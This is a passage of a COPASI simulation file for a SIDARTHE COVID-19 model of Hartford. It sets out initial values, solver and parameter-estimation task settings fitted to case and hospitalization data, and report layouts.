<StateTemplateVariable objectReference="ModelValue_109"/>
<StateTemplateVariable objectReference="ModelValue_108"/>
<StateTemplateVariable objectReference="ModelValue_107"/>
<StateTemplateVariable objectReference="ModelValue_106"/>
<StateTemplateVariable objectReference="ModelValue_105"/>
<StateTemplateVariable objectReference="ModelValue_103"/>
<StateTemplateVariable objectReference="ModelValue_102"/>
<StateTemplateVariable objectReference="ModelValue_101"/>
<StateTemplateVariable objectReference="ModelValue_100"/>
<StateTemplateVariable objectReference="ModelValue_98"/>
<StateTemplateVariable objectReference="ModelValue_96"/>
<StateTemplateVariable objectReference="ModelValue_95"/>
<StateTemplateVariable objectReference="ModelValue_80"/>
<StateTemplateVariable objectReference="ModelValue_76"/>
<StateTemplateVariable objectReference="ModelValue_75"/>
<StateTemplateVariable objectReference="ModelValue_74"/>
<StateTemplateVariable objectReference="ModelValue_72"/>
<StateTemplateVariable objectReference="ModelValue_71"/>
<StateTemplateVariable objectReference="ModelValue_70"/>
<StateTemplateVariable objectReference="ModelValue_69"/>
<StateTemplateVariable objectReference="ModelValue_64"/>
<StateTemplateVariable objectReference="ModelValue_63"/>
<StateTemplateVariable objectReference="ModelValue_60"/>
<StateTemplateVariable objectReference="ModelValue_57"/>
<StateTemplateVariable objectReference="ModelValue_56"/>
<StateTemplateVariable objectReference="ModelValue_54"/>
</StateTemplate>
<InitialState type="initialState">
0 0 0 0 0 0 0 0 0 894014 0 0.21111074995866533 0.20121746758778447 1.8436391388622739 0 0 0 0 2.0547498888209392 2.0547498888209392 2.0751077635399091 0.56715705672107464 0.17722489207479827 NaN NaN 1.2415320203921536 2.8239693375988774e-07 2.8239693375988773e-06 5.6479386751977548e-07 1.4119846687994387e-07 0.059999999999999998 0.11077520991184649 0.11077520991184649 0.11077520991184649 0.22155041982369297 0 0 0.84647803746212447 0 0 1 2.5246681233841226 0.50493362467682457 0.25246681233841228 0.12623340616920614 0 0.21111074995866533 0.030251157089850718 1.8436391388622739 1.8436391388622739 0.20121746758778447 0.36593958913329017 0.12499999999982438 0.052224892074973897 894014 0.78222655465241187 0.29999999999999999 0.0054878294478546081 0.059999999999999998 1 0.84647803746212447 0.22155041982369297 -1 -1 -1 0 0.023860229638650941 3.1523440370603772
</InitialState>
</Model>
<ListOfTasks>
<Task key="Task_14" name="Steady-State" type="steadyState" scheduled="false" updateModel="false">
<Report reference="Report_29" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="JacobianRequested" type="bool" value="1"/>
<Parameter name="StabilityAnalysisRequested" type="bool" value="1"/>
</Problem>
<Method name="Enhanced Newton" type="EnhancedNewton">
<Parameter name="Resolution" type="unsignedFloat" value="9.9999999999999994e-12"/>
<Parameter name="Derivation Factor" type="unsignedFloat" value="0.001"/>
<Parameter name="Use Newton" type="bool" value="1"/>
<Parameter name="Use Integration" type="bool" value="1"/>
<Parameter name="Use Back Integration" type="bool" value="0"/>
<Parameter name="Accept Negative Concentrations" type="bool" value="0"/>
<Parameter name="Iteration Limit" type="unsignedInteger" value="50"/>
<Parameter name="Maximum duration for forward integration" type="unsignedFloat" value="1000000000"/>
<Parameter name="Maximum duration for backward integration" type="unsignedFloat" value="1000000"/>
<Parameter name="Target Criterion" type="string" value="Distance and Rate"/>
</Method>
</Task>
<Task key="Task_1" name="Time-Course" type="timeCourse" scheduled="false" updateModel="false">
<Report reference="Report_9" target="timecourses.txt" append="1" confirmOverwrite="0"/>
<Problem>
<Parameter name="AutomaticStepSize" type="bool" value="0"/>
<Parameter name="StepNumber" type="unsignedInteger" value="412"/>
<Parameter name="StepSize" type="float" value="0.51094890510000002"/>
<Parameter name="Duration" type="float" value="210"/>
<Parameter name="TimeSeriesRequested" type="bool" value="1"/>
<Parameter name="OutputStartTime" type="float" value="0"/>
<Parameter name="Output Event" type="bool" value="0"/>
<Parameter name="Start in Steady State" type="bool" value="0"/>
<Parameter name="Use Values" type="bool" value="0"/>
<Parameter name="Values" type="string" value="0 2 4 6 8 10 12 14 16 18 20 22 24 26 28 30 32 34 36 38 40 42 44 46 48 50 52 54 56 58 60 62 64 66 68 70 72 74 76 78 80 82 84 86 88 90 92 94 96 98 100 102 104 106 108 110 112 114 116 118 120 122 124 126 128 130 132 134 136 138 140 142 144 146 148 150 152 154 156 158 160 162 164 166 168 170 172 174 176 178 180 182 184 186 188 190 192 194 196 198 200 800"/>
</Problem>
<Method name="Deterministic (LSODA)" type="Deterministic(LSODA)">
<Parameter name="Integrate Reduced Model" type="bool" value="0"/>
<Parameter name="Relative Tolerance" type="unsignedFloat" value="1e-08"/>
<Parameter name="Absolute Tolerance" type="unsignedFloat" value="9.9999999999999998e-13"/>
<Parameter name="Max Internal Steps" type="unsignedInteger" value="100000"/>
<Parameter name="Max Internal Step Size" type="unsignedFloat" value="0"/>
</Method>
</Task>
<Task key="Task_2" name="Scan" type="scan" scheduled="true" updateModel="false">
<Report reference="Report_8" target="ct-Model1-sampling-TC-4-8-2020.txt" append="0" confirmOverwrite="0"/>
<Problem>
<Parameter name="Subtask" type="unsignedInteger" value="1"/>
<ParameterGroup name="ScanItems">
<ParameterGroup name="ScanItem">
<Parameter name="Number of steps" type="unsignedInteger" value="1"/>
<Parameter name="Type" type="unsignedInteger" value="1"/>
<Parameter name="Object" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ApplyRelaxationMay1],Reference=InitialValue"/>
<Parameter name="Minimum" type="float" value="0"/>
<Parameter name="Maximum" type="float" value="1"/>
<Parameter name="log" type="bool" value="0"/>
<Parameter name="Values" type="string" value=""/>
<Parameter name="Use Values" type="bool" value="0"/>
</ParameterGroup>
</ParameterGroup>
<Parameter name="Output in subtask" type="bool" value="1"/>
<Parameter name="Adjust initial conditions" type="bool" value="0"/>
<Parameter name="Continue on Error" type="bool" value="1"/>
</Problem>
<Method name="Scan Framework" type="ScanFramework">
</Method>
</Task>
<Task key="Task_3" name="Elementary Flux Modes" type="fluxMode" scheduled="false" updateModel="false">
<Report reference="Report_28" target="" append="1" confirmOverwrite="1"/>
<Problem>
</Problem>
<Method name="EFM Algorithm" type="EFMAlgorithm">
</Method>
</Task>
<Task key="Task_4" name="Optimization" type="optimization" scheduled="false" updateModel="false">
<Report reference="Report_27" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="Subtask" type="cn" value="CN=Root,Vector=TaskList[Time-Course]"/>
<ParameterText name="ObjectiveExpression" type="expression">
</ParameterText>
<Parameter name="Maximize" type="bool" value="0"/>
<Parameter name="Randomize Start Values" type="bool" value="1"/>
<Parameter name="Calculate Statistics" type="bool" value="1"/>
<ParameterGroup name="OptimizationItemList">
</ParameterGroup>
<ParameterGroup name="OptimizationConstraintList">
</ParameterGroup>
</Problem>
<Method name="Hooke & Jeeves" type="HookeJeeves">
<Parameter name="Log Verbosity" type="unsignedInteger" value="0"/>
<Parameter name="Iteration Limit" type="unsignedInteger" value="50"/>
<Parameter name="Tolerance" type="float" value="1.0000000000000001e-05"/>
<Parameter name="Rho" type="float" value="0.20000000000000001"/>
</Method>
</Task>
<Task key="Task_5" name="Parameter Estimation" type="parameterFitting" scheduled="false" updateModel="true">
<Report reference="Report_5" target="" append="0" confirmOverwrite="0"/>
<Problem>
<Parameter name="Maximize" type="bool" value="0"/>
<Parameter name="Randomize Start Values" type="bool" value="0"/>
<Parameter name="Calculate Statistics" type="bool" value="0"/>
<ParameterGroup name="OptimizationItemList">
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[ZeroDay],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0"/>
<Parameter name="UpperBound" type="cn" value="15"/>
<Parameter name="StartValue" type="float" value="3.1523440370000002"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu_UCH],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="1e-06"/>
<Parameter name="UpperBound" type="cn" value="0.201217467587784"/>
<Parameter name="StartValue" type="float" value="0.023860229638650941"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0.899999981994371"/>
<Parameter name="UpperBound" type="cn" value="1"/>
<Parameter name="StartValue" type="float" value="1"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0.762388114264679"/>
<Parameter name="UpperBound" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=InitialValue"/>
<Parameter name="StartValue" type="float" value="0.84647803746212447"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0.0348165947166493"/>
<Parameter name="UpperBound" type="cn" value="0.0522248920749739"/>
<Parameter name="StartValue" type="float" value="0.052224892074973897"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="FitItem">
<Parameter name="ObjectCN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue"/>
<Parameter name="LowerBound" type="cn" value="0.0302511570898505"/>
<Parameter name="UpperBound" type="cn" value="0.0453767356347758"/>
<Parameter name="StartValue" type="float" value="0.030251157089850718"/>
<ParameterGroup name="Affected Experiments">
</ParameterGroup>
<ParameterGroup name="Affected Cross Validation Experiments">
</ParameterGroup>
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="OptimizationConstraintList">
</ParameterGroup>
<Parameter name="Steady-State" type="cn" value="CN=Root,Vector=TaskList[Steady-State]"/>
<Parameter name="Time-Course" type="cn" value="CN=Root,Vector=TaskList[Time-Course]"/>
<Parameter name="Create Parameter Sets" type="bool" value="0"/>
<ParameterGroup name="Experiment Set">
<ParameterGroup name="Experiment">
<Parameter name="Key" type="key" value="Experiment_2"/>
<Parameter name="File Name" type="file" value="CT-Hartford-COVID19.tsv"/>
<Parameter name="First Row" type="unsignedInteger" value="1"/>
<Parameter name="Last Row" type="unsignedInteger" value="52"/>
<Parameter name="Experiment Type" type="unsignedInteger" value="1"/>
<Parameter name="Normalize Weights per Experiment" type="bool" value="1"/>
<Parameter name="Separator" type="string" value="	"/>
<Parameter name="Weight Method" type="unsignedInteger" value="1"/>
<Parameter name="Data is Row Oriented" type="bool" value="1"/>
<Parameter name="Row containing Names" type="unsignedInteger" value="1"/>
<Parameter name="Number of Columns" type="unsignedInteger" value="7"/>
<ParameterGroup name="Object Map">
<ParameterGroup name="0">
<Parameter name="Role" type="unsignedInteger" value="3"/>
</ParameterGroup>
<ParameterGroup name="1">
<Parameter name="Role" type="unsignedInteger" value="2"/>
<Parameter name="Object CN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected],Reference=Value"/>
</ParameterGroup>
<ParameterGroup name="2">
<Parameter name="Role" type="unsignedInteger" value="2"/>
<Parameter name="Object CN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Total_Hospitalized],Reference=Value"/>
</ParameterGroup>
<ParameterGroup name="3">
<Parameter name="Role" type="unsignedInteger" value="2"/>
<Parameter name="Object CN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[UCH],Reference=Concentration"/>
</ParameterGroup>
<ParameterGroup name="4">
<Parameter name="Role" type="unsignedInteger" value="0"/>
</ParameterGroup>
<ParameterGroup name="5">
<Parameter name="Role" type="unsignedInteger" value="2"/>
<Parameter name="Object CN" type="cn" value="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration"/>
</ParameterGroup>
<ParameterGroup name="6">
<Parameter name="Role" type="unsignedInteger" value="0"/>
</ParameterGroup>
</ParameterGroup>
</ParameterGroup>
</ParameterGroup>
<ParameterGroup name="Validation Set">
<Parameter name="Weight" type="unsignedFloat" value="1"/>
<Parameter name="Threshold" type="unsignedInteger" value="5"/>
</ParameterGroup>
</Problem>
<Method name="Particle Swarm" type="ParticleSwarm">
<Parameter name="Log Verbosity" type="unsignedInteger" value="0"/>
<Parameter name="Iteration Limit" type="unsignedInteger" value="20000"/>
<Parameter name="Swarm Size" type="unsignedInteger" value="50"/>
<Parameter name="Std. Deviation" type="unsignedFloat" value="9.9999999999999995e-07"/>
<Parameter name="Random Number Generator" type="unsignedInteger" value="1"/>
<Parameter name="Seed" type="unsignedInteger" value="0"/>
<Parameter name="Stop after # Stalled Iterations" type="unsignedInteger" value="0"/>
</Method>
</Task>
<Task key="Task_6" name="Metabolic Control Analysis" type="metabolicControlAnalysis" scheduled="false" updateModel="false">
<Report reference="Report_25" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="Steady-State" type="key" value="Task_14"/>
</Problem>
<Method name="MCA Method (Reder)" type="MCAMethod(Reder)">
<Parameter name="Modulation Factor" type="unsignedFloat" value="1.0000000000000001e-09"/>
<Parameter name="Use Reder" type="bool" value="1"/>
<Parameter name="Use Smallbone" type="bool" value="1"/>
</Method>
</Task>
<Task key="Task_7" name="Lyapunov Exponents" type="lyapunovExponents" scheduled="false" updateModel="false">
<Report reference="Report_0" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="ExponentNumber" type="unsignedInteger" value="3"/>
<Parameter name="DivergenceRequested" type="bool" value="1"/>
<Parameter name="TransientTime" type="float" value="0"/>
</Problem>
<Method name="Wolf Method" type="WolfMethod">
<Parameter name="Orthonormalization Interval" type="unsignedFloat" value="1"/>
<Parameter name="Overall time" type="unsignedFloat" value="1000"/>
<Parameter name="Relative Tolerance" type="unsignedFloat" value="9.9999999999999995e-07"/>
<Parameter name="Absolute Tolerance" type="unsignedFloat" value="9.9999999999999998e-13"/>
<Parameter name="Max Internal Steps" type="unsignedInteger" value="10000"/>
</Method>
</Task>
<Task key="Task_8" name="Time Scale Separation Analysis" type="timeScaleSeparationAnalysis" scheduled="false" updateModel="false">
<Report reference="Report_1" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="StepNumber" type="unsignedInteger" value="100"/>
<Parameter name="StepSize" type="float" value="0.01"/>
<Parameter name="Duration" type="float" value="1"/>
<Parameter name="TimeSeriesRequested" type="bool" value="1"/>
<Parameter name="OutputStartTime" type="float" value="0"/>
</Problem>
<Method name="ILDM (LSODA,Deuflhard)" type="TimeScaleSeparation(ILDM,Deuflhard)">
<Parameter name="Deuflhard Tolerance" type="unsignedFloat" value="0.0001"/>
</Method>
</Task>
<Task key="Task_9" name="Sensitivities" type="sensitivities" scheduled="false" updateModel="false">
<Report reference="Report_2" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="SubtaskType" type="unsignedInteger" value="2"/>
<ParameterGroup name="TargetFunctions">
<Parameter name="SingleObject" type="cn" value=""/>
<Parameter name="ObjectListType" type="unsignedInteger" value="43"/>
</ParameterGroup>
<ParameterGroup name="ListOfVariables">
<ParameterGroup name="Variables">
<Parameter name="SingleObject" type="cn" value=""/>
<Parameter name="ObjectListType" type="unsignedInteger" value="41"/>
</ParameterGroup>
<ParameterGroup name="Variables">
<Parameter name="SingleObject" type="cn" value=""/>
<Parameter name="ObjectListType" type="unsignedInteger" value="0"/>
</ParameterGroup>
</ParameterGroup>
</Problem>
<Method name="Sensitivities Method" type="SensitivitiesMethod">
<Parameter name="Delta factor" type="unsignedFloat" value="0.001"/>
<Parameter name="Delta minimum" type="unsignedFloat" value="9.9999999999999998e-13"/>
</Method>
</Task>
<Task key="Task_10" name="Moieties" type="moieties" scheduled="false" updateModel="false">
<Report reference="Report_3" target="" append="1" confirmOverwrite="1"/>
<Problem>
</Problem>
<Method name="Householder Reduction" type="Householder">
</Method>
</Task>
<Task key="Task_11" name="Cross Section" type="crosssection" scheduled="false" updateModel="false">
<Problem>
<Parameter name="AutomaticStepSize" type="bool" value="0"/>
<Parameter name="StepNumber" type="unsignedInteger" value="100"/>
<Parameter name="StepSize" type="float" value="0.01"/>
<Parameter name="Duration" type="float" value="1"/>
<Parameter name="TimeSeriesRequested" type="bool" value="1"/>
<Parameter name="OutputStartTime" type="float" value="0"/>
<Parameter name="Output Event" type="bool" value="0"/>
<Parameter name="Start in Steady State" type="bool" value="0"/>
<Parameter name="Use Values" type="bool" value="0"/>
<Parameter name="Values" type="string" value=""/>
<Parameter name="LimitCrossings" type="bool" value="0"/>
<Parameter name="NumCrossingsLimit" type="unsignedInteger" value="0"/>
<Parameter name="LimitOutTime" type="bool" value="0"/>
<Parameter name="LimitOutCrossings" type="bool" value="0"/>
<Parameter name="PositiveDirection" type="bool" value="1"/>
<Parameter name="NumOutCrossingsLimit" type="unsignedInteger" value="0"/>
<Parameter name="LimitUntilConvergence" type="bool" value="0"/>
<Parameter name="ConvergenceTolerance" type="float" value="0"/>
<Parameter name="Threshold" type="float" value="0"/>
<Parameter name="DelayOutputUntilConvergence" type="bool" value="0"/>
<Parameter name="OutputConvergenceTolerance" type="float" value="0"/>
<ParameterText name="TriggerExpression" type="expression">
</ParameterText>
<Parameter name="SingleVariable" type="cn" value=""/>
</Problem>
<Method name="Deterministic (LSODA)" type="Deterministic(LSODA)">
<Parameter name="Integrate Reduced Model" type="bool" value="0"/>
<Parameter name="Relative Tolerance" type="unsignedFloat" value="9.9999999999999995e-07"/>
<Parameter name="Absolute Tolerance" type="unsignedFloat" value="9.9999999999999998e-13"/>
<Parameter name="Max Internal Steps" type="unsignedInteger" value="100000"/>
<Parameter name="Max Internal Step Size" type="unsignedFloat" value="0"/>
</Method>
</Task>
<Task key="Task_12" name="Linear Noise Approximation" type="linearNoiseApproximation" scheduled="false" updateModel="false">
<Report reference="Report_4" target="" append="1" confirmOverwrite="1"/>
<Problem>
<Parameter name="Steady-State" type="key" value="Task_14"/>
</Problem>
<Method name="Linear Noise Approximation" type="LinearNoiseApproximation">
</Method>
</Task>
<Task key="Task_0" name="Time-Course Sensitivities" type="timeSensitivities" scheduled="false" updateModel="false">
<Problem>
<Parameter name="AutomaticStepSize" type="bool" value="0"/>
<Parameter name="StepNumber" type="unsignedInteger" value="100"/>
<Parameter name="StepSize" type="float" value="0.01"/>
<Parameter name="Duration" type="float" value="1"/>
<Parameter name="TimeSeriesRequested" type="bool" value="1"/>
<Parameter name="OutputStartTime" type="float" value="0"/>
<Parameter name="Output Event" type="bool" value="0"/>
<Parameter name="Start in Steady State" type="bool" value="0"/>
<Parameter name="Use Values" type="bool" value="0"/>
<Parameter name="Values" type="string" value=""/>
<ParameterGroup name="ListOfParameters">
</ParameterGroup>
<ParameterGroup name="ListOfTargets">
</ParameterGroup>
</Problem>
<Method name="LSODA Sensitivities" type="Sensitivities(LSODA)">
<Parameter name="Integrate Reduced Model" type="bool" value="0"/>
<Parameter name="Relative Tolerance" type="unsignedFloat" value="9.9999999999999995e-07"/>
<Parameter name="Absolute Tolerance" type="unsignedFloat" value="9.9999999999999998e-13"/>
<Parameter name="Max Internal Steps" type="unsignedInteger" value="10000"/>
<Parameter name="Max Internal Step Size" type="unsignedFloat" value="0"/>
</Method>
</Task>
</ListOfTasks>
<ListOfReports>
<Report key="Report_29" name="Steady-State" taskType="steadyState" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Footer>
<Object cn="CN=Root,Vector=TaskList[Steady-State]"/>
</Footer>
</Report>
<Report key="Report_28" name="Elementary Flux Modes" taskType="fluxMode" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Footer>
<Object cn="CN=Root,Vector=TaskList[Elementary Flux Modes],Object=Result"/>
</Footer>
</Report>
<Report key="Report_27" name="Optimization" taskType="optimization" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Optimization],Object=Description"/>
<Object cn="String=\[Function Evaluations\]"/>
<Object cn="Separator=	"/>
<Object cn="String=\[Best Value\]"/>
<Object cn="Separator=	"/>
<Object cn="String=\[Best Parameters\]"/>
</Header>
<Body>
<Object cn="CN=Root,Vector=TaskList[Optimization],Problem=Optimization,Reference=Function Evaluations"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Vector=TaskList[Optimization],Problem=Optimization,Reference=Best Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Vector=TaskList[Optimization],Problem=Optimization,Reference=Best Parameters"/>
</Body>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Optimization],Object=Result"/>
</Footer>
</Report>
<Report key="Report_26" name="Parameter Estimation" taskType="parameterFitting" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Object=Description"/>
<Object cn="String=\[Function Evaluations\]"/>
<Object cn="Separator=	"/>
<Object cn="String=\[Best Value\]"/>
<Object cn="Separator=	"/>
<Object cn="String=\[Best Parameters\]"/>
</Header>
<Body>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Function Evaluations"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Value"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Parameters"/>
</Body>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Object=Result"/>
</Footer>
</Report>
<Report key="Report_25" name="Metabolic Control Analysis" taskType="metabolicControlAnalysis" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Metabolic Control Analysis],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Metabolic Control Analysis],Object=Result"/>
</Footer>
</Report>
<Report key="Report_0" name="Lyapunov Exponents" taskType="lyapunovExponents" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Lyapunov Exponents],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Lyapunov Exponents],Object=Result"/>
</Footer>
</Report>
<Report key="Report_1" name="Time Scale Separation Analysis" taskType="timeScaleSeparationAnalysis" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Time Scale Separation Analysis],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Time Scale Separation Analysis],Object=Result"/>
</Footer>
</Report>
<Report key="Report_2" name="Sensitivities" taskType="sensitivities" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Sensitivities],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Sensitivities],Object=Result"/>
</Footer>
</Report>
<Report key="Report_3" name="Moieties" taskType="moieties" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Moieties],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Moieties],Object=Result"/>
</Footer>
</Report>
<Report key="Report_4" name="Linear Noise Approximation" taskType="linearNoiseApproximation" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Linear Noise Approximation],Object=Description"/>
</Header>
<Footer>
<Object cn="String=
"/>
<Object cn="CN=Root,Vector=TaskList[Linear Noise Approximation],Object=Result"/>
</Footer>
</Report>
<Report key="Report_5" name="summary PE" taskType="scan" separator="	" precision="6">
<Comment>
</Comment>
<Table printTitle="1">
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Value"/>
<Object cn="CN=Root,Vector=TaskList[Parameter Estimation],Problem=Parameter Estimation,Reference=Best Parameters"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction],Reference=Value"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0],Reference=Value"/>
</Table>
</Report>
<Report key="Report_6" name="Time-Course" taskType="timeCourse" separator="	" precision="6">
<Comment>
Automatically generated report.
</Comment>
<Header>
<Object cn="CN=Root,Vector=TaskList[Time-Course],Object=Description"/>
</Header>
<Footer>
<Object cn="CN=Root,Vector=TaskList[Time-Course],Object=Result"/>
</Footer>
</Report>
<Report key="Report_7" name="TC-summary" taskType="timeCourse" separator="	" precision="10">
<Comment>
</Comment>
<Header>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction],Reference=InitialValue,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=Concentration,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Reference=Time,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=Value,Property=DisplayName"/>
<Object cn="Separator=	"/>
<Object cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered],Reference=Value,Property=DisplayName"/>
